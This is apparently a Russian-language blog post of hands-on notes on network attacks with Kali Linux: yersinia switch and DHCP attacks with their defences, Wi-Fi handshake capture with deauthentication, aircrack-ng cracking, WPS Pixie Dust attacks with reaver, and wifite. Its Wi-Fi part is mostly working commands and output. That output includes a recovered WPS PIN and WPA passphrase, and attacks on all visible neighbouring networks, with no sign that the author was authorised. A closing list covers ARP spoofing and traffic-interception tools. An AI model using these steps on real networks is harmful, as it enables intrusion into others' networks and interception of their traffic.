Network security: сетевые атаки (kali, yersinia, arpspoof, dns2proxy, mitmproxy, aircrack, etc)

Kali linux
  • Легко запускается в virtualbox/vmware
    • Скачать можно тут.
    • kali/kali default username/password
  • Можно поставить и life образ на flash, например, используя rufus.
  • Образ для QEMU, пригодится для GNS3 (доступ через vnc для GUI, ssh для CLI, но нужно включать).
# on KALI
sudo systemctl start ssh # sudo service ssh start
sudo systemctl enable ssh

# on remote
ssh root@172.16.208.130
    • default password toor (-> root)
  • Если есть проблема в работе NetworkManager в Kali Linux (нет апплета, не применяются настройки, падает интерфейс и проч) – лучше всего его снести (застопить, в конфиге /etc/NetworkManager/NetworkManager.conf убрать использование через managed=false, настроить интерфейсы статически в /etc/network/interfaces).
  • Если есть проблема с установкой стандартный пакетов (например, pip для python2 “Unable to locate package python-pip”) – добавляем репозитории debian в apt.
sudo apt-get install python-pip
nano /etc/apt/sources.list

# add lines
deb http://deb.debian.org/debian stretch main
deb-src http://deb.debian.org/debian stretch main
deb http://deb.debian.org/debian-security/ stretch/updates main
deb-src http://deb.debian.org/debian-security/ stretch/updates main
deb http://deb.debian.org/debian stretch-updates main
deb-src http://deb.debian.org/debian stretch-updates main
KALI MITM routing

Для mitm атак чаще всего нужно включать маршрутизацию (ip_forward). Тут как это сделать.

 

yersinia

yersinia – утилита на kali, куча атак (dhcp, dtp, stp, mpls, cdp).

apt install yersinia

help

root@kali:~# yersinia -h
۲�۲��
�������۲�
۲��������۲�
�����۱����������
����۱������������
����۱������������� Yersinia...
������������������۲��
۲���۱��������������۲�� The Black Death for nowadays networks
������۱�����������������
�������۱���������������۲� by Slay & tomac
۲�����۱�������������������
�����۱������������������� http://www.yersinia.net
۲����۱���������������۲ yersinia@yersinia.net
۲�����۱���������������
�������۱����������۲�
�۲���������۱������� Prune your MSTP, RSTP, STP trees!!!!
�������������۲�


Usage: yersinia [-hVGIDd] [-l logfile] [-c conffile] protocol [protocol_options]
-V Program version.
-h This help screen.
-G Graphical mode (GTK).
-I Interactive mode (ncurses).
-D Daemon mode.
-d Debug.
-l logfile Select logfile.
-c conffile Select config file.
protocol One of the following: cdp, dhcp, dot1q, dot1x, dtp, hsrp, isl, mpls, stp, vtp.

Try 'yersinia protocol -h' to see protocol_options help

Please, see the man page for a full list of options and many examples.
Send your bugs & suggestions to the Yersinia developers <yersinia@yersinia.net>

MOTD: The nightly bird catches the worm ;)

interactive mode – хорош, но надо знать hotkeys.

graphical mode проще и в целом глюков при использовании не было (глюки были аналогичные interactive).

dtp attack (enable trunking). Защита в switchport nonegotiate + static access/trunk.

before

after

vtp attack (delete all vlans). Защита в vtp off/transparent.

Configuration last modified by 10.13.58.1 at  ^@^@:^@^@:^@^@

vtp attack (add vlan). Защита в vtp off/transparent.

stp (root role). Подменяет MAC, сохраняя приоритет текущего root bridge, что на первый взгляд довольно незаметно! Защита в root guard (spanning-tree guard root на интерфейсах к хостам), bpdu filter.

dhcp (starvation, dhcp discover flood). Защита в dhcp snooping binding (не подменяем в dhcp запросе фактический MAC на другой), flood traffic rate limit.

dhcp (rogue server). Атака особенно опасна тем, что может позволять реализовывать MITM и прослушивать трафик/etc. Защита в dhcp snooping, ACL (фильтр ответов на клиентских портах).

 

 

Wi-Fi

WPA bruteforce

  • Перехватить handshake можно и штатными утилитами, но для захвата может потребоваться много времени (ночи может не хватить по практике). Лучше использовать deauth, например, с помощью aireplay-ng и собирать handshake повторных аутентификаций.
  • Дампы с wireless sniffer MAC OS собираются в папку /var/tmp/

Подбор паролей для перехваченных хендшейков не своими руками.

https://xsrc.ru/ # тут другие пользователи пытаются за вас
https://gpuhash.me/ # тут кластер, базовый подбор бесплатно, остальные за BTC
Aircrack

Можно использовать usb wifi stick, если:

  1. есть проблемы с переводом сетевой в monitor режим или беспроводной сетевой вообще нет
  2. не хочется на машину с беспроводной сетевой ставить хакерский софт
  3. хочется иметь возможность останавливать на время подбор hash, без перезапуска утилиты (suspend VM)

Monitor режим поддерживают многие usb stick. Лично у меня заработало и с Xiaomi Mi Wi-Fi USB, единственное:

  1. в Windows можно не пробовать – там с monitor mode проблемы
  2. в Linux нужно обновить ядро, чтобы установились драйвера для MediaTek MT7601U
    kali@kali:~$ lsusb
    Bus 001 Device 002: ID 2717:4106 Xiaomi Inc. MediaTek MT7601U [MI WiFi]
  3. нужно быть уверенным, что USB дает достаточное питание для Wi-Fi USB. У меня были проблемы с поиском сетей (находилось всего 6) при подключении через USB 3.0 одного дангла (переходника), при подключении в USB 2.0 другого переходника начали обнаруживаться более 20 сетей.

При ошибке ниже ставим пакет из исходника.

Unable to locate package airmon-ng

Как правило, в стандартном репозитории неспециализированных дистрибутивов имеется довольно старая версия Aircrack-ng, поэтому, рекомендуется установка из исходников:

sudo apt remove aircrack-ng
sudo apt install autoconf automake libpcre3-dev libnl-3-dev libsqlite3-dev libssl-dev ethtool build-essential g++ libnl-genl-3-dev libgcrypt20-dev libtool python3-distutils
sudo apt install -y pkg-config
git clone https://github.com/aircrack-ng/aircrack-ng.git
cd aircrack-ng/
autoreconf -i
./configure --with-experimental --with-ext-scripts
make
sudo make install
sudo airodump-ng-oui-update 

Не забываем что утилиты в таком случае собираются в скаченной папке.

kali@kali:~/aircrack-ng$ airodump-ng
bash: airodump-ng: command not found

kali@kali:~/aircrack-ng$ ./airodump-ng 

Airodump-ng 1.6 rev 9db89e11 - (C) 2006-2020 Thomas d'Otreppe
https://www.aircrack-ng.org

usage: airodump-ng <options> <interface>[,<interface>,...]
...

Подробно usage утилит aircrack (airmon-ng, airodump-ng, aireplay-ng,aircrack-ng) описан тут. Я скопипастил оттуда команды.

airmon-ng start wlan0
airodump-ng mon0
airodump-ng --bssid 08:86:30:74:22:76 -c 6 -w WPAcrack mon0
aireplay-ng --deauth 100 -a 08:86:30:74:22:76 mon0
aircrack-ng WPAcrack-01.cap -w /pentest/passwords/wordlists/darkc0de
WPS (Pixie Dust with wash + reaver)

Man по установке/использованию.

kali@kali:~/reaver-wps-fork-t6x/src$ sudo wash -i wlan0
BSSID Ch dBm WPS Lck Vendor ESSID
--------------------------------------------------------------------------------
00:22:15:AC:37:69 10 -61 1.0 No Broadcom e31100
10:BE:F5:9B:85:49 11 -57 2.0 No RealtekS onlime94
C4:E9:84:D3:D1:60 12 -47 2.0 No RalinkTe \\xd0\\x9b\\xd0\\xb8\\xd1\\x81\\xd1\\x91\\xd0\\xbd\\xd0\\xbe\\xd0\\xba
F4:B8:A7:E7:B6:0F 10 -59 1.0 No Broadcom MGTS_GPON_E1B2

# FAIL
kali@kali:~/reaver-wps-fork-t6x/src$ sudo reaver -i wlan0 -b 10:BE:F5:9B:85:49 -c 11 -K 1 -f

Reaver v1.6.6 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from 10:BE:F5:9B:85:49
[+] Received beacon from 10:BE:F5:9B:85:49
[+] Vendor: RealtekS
[+] Associated with 10:BE:F5:9B:85:49 (ESSID: onlime94)
executing pixiewps -e 2a916a463f6aca355d5cc46c2ef5d5233bd87947d986331e6905a02a819d509cfc9bdcccd1adec56121f425b5686ac3bf1e6bbf8b394f5ed8e4922fe27e5abbf7e518a798560da559083cbefb342f32dfdbf786224eb36f46e4525a6593188d1088867614a426e0ce93dbb8ec4494aefc2e335c20ccecaf7d4710f7fbfc636b728ebc65487fdb6bf2c717c2b8932f59e05fbf370d6b3c3bf13c9354f4687ee89f909c6f2a9857e56b3dcca6a27dfc94a8e947963eed06d13f07aace7234dc254 -s f590e83c966bdd28910dbef9cce1e6102535ad82e67c566af2b617ef01d74ba2 -z 740476b63a2f9fdc15747add67c670c9ad77aadf04f4e3e42cff24dde96e1b0e -a e491113342acfee5e0da565b755f3c1c924a2ba6e78c4093ea2dea84c0abadc9 -n 53a0989fe816689076d5fafe7e90f363 -r 9df7423c1d21f7baad8c70eaff96ad00e8533d1d317a76d72563fe314e6f0c6fd40ed672ca16f91a4ee26129961f0657c64f7c858b4f7a65f96424bd3b645f8527f35db8cf6268021dcb76508bf398728bcebd7513695a5958cb202ee8e30bcf2888ec63857a23d874ef053cf0612d59c8dc84eb16d6872b81c80d8bc87bbfcb363590215ef55b5d1c91a35d8e45d131338f34e9fead40b5758ae60166d1cdc7f6e9849f96f32ae77ee25b6f2416d32396d90f66c9879adcf4ac854c9e1ed9a6

Pixiewps 1.4

[-] WPS pin not found!

[*] Time taken: 0 s 121 ms

[-] Pixiewps fail, sending WPS NACK


# SUCCESS
ali@kali:~/reaver-wps-fork-t6x/src$ sudo reaver -i wlan0 -b C4:E9:84:D3:D1:60 -c 12 -K 1 -f

Reaver v1.6.6 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from C4:E9:84:D3:D1:60
[+] Received beacon from C4:E9:84:D3:D1:60
[+] Vendor: RalinkTe
[+] Associated with C4:E9:84:D3:D5:60 (ESSID: fsdfsf)
executing pixiewps -e 63a50df0f0748a144a6c59455b1c5a0ba9e44b4a95c7f82ce5bf826aada13e22d12cf11bfee8f914fa1ae0502f65755d858b90bec6bddb25b6d01a02829824a564b29dface3ee0de576785f4085caf53119095b24f751195afae0374f481fb8c1cc4ddb89055f34f87ed1ff667c220998dcb516a29027cba082f4882edd05bb094d39c1a6f4ff80241ed0a9e2a4a08ddc69cee311e93d9640f86f4853b49eed0fcec70b925f96a01ef5795e0da34793922a1386fc4f559aaaf9fdc454fc78e41 -s 0318d6a0d39c88e021c437215570a157260a492e0606d13e29db724cdc5f7ab6 -z ee52002c006561f240498be5de20cd446b8d01cfeb43a6f33de5a48c1aae0111 -a 39026199e9f374c26a62764eb3b1febd87dadc388d67fb96cdac104831e9b3b8 -n 9342c7866321111263c02c6ca623deed -r f17ea9304487670b4bd657d65634d7e1afb209c6aea0987f5642712d03e2c206359eb697ee4a7c31459e68de9dedfe6979a097df0bb04ac95432b72455254a7b59d4a7c3250e564ce91b8f0ff8a8437225cb6494b927f21375dca41c095f4da4f441b9f4621e6bc4ec75e0b3a75be05538f18a96a44d28660d4a23f7bc22878b2fb6c6d70f101f64cf1695df4e4be94d94159a0904d85684b61cffea6480f97bd782d411054423b272a26f986d3cdeb2a4326051ece478a2ff85dd2472938153

Pixiewps 1.4

[?] Mode: 1 (RT/MT/CL)
[*] Seed N1: 0xc34c52af
[*] Seed ES1: 0x00000000
[*] Seed ES2: 0x00000000
[*] PSK1: 239214306384bcf580a4ca7dd6728463
[*] PSK2: 1f34064c95364193c967c4354b34bd9d
[*] ES1: 00000000000000000000000000000000
[*] ES2: 00000000000000000000000000000000
[+] WPS pin: 50070800

[*] Time taken: 0 s 19 ms

[+] Pixiewps: success: setting pin to 50070800
[+] WPS PIN: '50070800'
[+] WPA PSK: '07111985'
[+] AP SSID: 'fsdfsf'
Wifite

wifite2 github

описание утилиты (скрипта)

Объединение разных утилит для взлома сетей через python скрипт, которые видны адаптером, как то:

  1. атаки на wps – pixie dust, pin attack
  2. атаки на wpa – включа деаунтификацию клиентов, захват handshake, подбор по словарю

Установка

# зависимости
sudo apt-get update
sudo apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev

# сам wifite
git clone https://github.com/derv82/wifite2.git

# некоторые extension
git clone https://github.com/ZerBea/hcxdumptool.git
cd hcxdumptool
make
sudo make install

git clone https://github.com/ZerBea/hcxtools.git
cd hcxtools
make
sudo make install

# с pyrit нужно "поколдовать"
git clone https://github.com/JPaulMora/Pyrit.git
sudo apt-get install python-pip

# если не устанавливается pip с ошибкой "Unable to locate package python-pip"
nano /etc/apt/sources.list
# add lines
deb http://deb.debian.org/debian stretch main
deb-src http://deb.debian.org/debian stretch main
deb http://deb.debian.org/debian-security/ stretch/updates main
deb-src http://deb.debian.org/debian-security/ stretch/updates main
deb http://deb.debian.org/debian stretch-updates main
deb-src http://deb.debian.org/debian stretch-updates main
apt update
apt install python-pip

# если не устанавливается pip с ошибкой "python-pip : Depends: python-pip-whl (= 9.0.1-2+deb9u1) but 20.0.2-5 is to be installed. E: Unable to correct problems, you have held broken packages."
sudo dpkg -i python-pip-whl_9.0.1-2+deb9u1_all.deb

sudo pip install psycopg2
# если не устанавливается psycopg2 с ошибкой компилятора "error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 ./psycopg/psycopg.h:36:10: fatal error: libpq-fe.h: No such file or directory 36 | #include <libpq-fe.h> | ^~~~~~~~~~~~ compilation terminated."
sudo apt install libpq-dev

sudo pip install scapy

cd Pyrit ## Compile time!
python setup.py clean
python setup.py build
sudo python setup.py install

Использование

Перед стартом желательно отключить потенциально конфликтующие службы.

sudo service network-manager stop
sudo service wpa_supplicant stop
cd wifite2
sudo ./Wifite.py
sudo ./Wifite.py --dict /home/kali/dict/all_words.txt # запуск с кастомным словарем
kali@kali:~/wifite2$ sudo ./Wifite.py
NUM ESSID CH ENCR POWER WPS? CLIENT
--- ------------------------- --- ---- ----- ---- ------
1 12341 12 WPA 54db yes
2 Beeline 10 WPA 52db no
3 onlime94 11 WPA 43db yes
4 e31100 10 WPA 43db yes
5 MGTS_GPON_E1B2 10 WPA 41db yes
[+] select target(s) (1-5) separated by commas, dashes or all: all
# example подбора
[+] (3/5) Starting attacks against 10:BE:F5:9B:85:49 (onlime94)
[+] onlime94 (49db) WPS Pixie-Dust: [4m54s] Failed: Reaver says "WPS pin not found"
[+] onlime94 (47db) WPS PIN Attack: [4m14s PINs:8] Failed: Access point is Locked
[!] Skipping PMKID attack, missing required tools: hcxpcaptool
[+] onlime94 (49db) WPA Handshake capture: Discovered new client: 4A:4F:7E:F6:45:C7
[+] onlime94 (49db) WPA Handshake capture: Discovered new client: 94:0E:6B:35:78:9E
[+] onlime94 (48db) WPA Handshake capture: Listening. (clients:2, deauth:3s, timeout:0s)
[!] WPA handshake capture FAILED: Timed out after 500 seconds
MISC Tools

arpspoof -i eth0 -t <target> -r <host> – делаем спуфинг между двумя хостами (не важно кого указать target, кого host).

dns2proxy – подменяем DNS запросы для трафика, который через  нас проходит (напр. сначала arp-spoof, потом dns2proxy).

mitmproxy – https proxy для mitm. Использовался например челом, нашедшим проблему у ингос, ситимобил.

sslsplit – ssl proxy для mitm.

 

Leave a Reply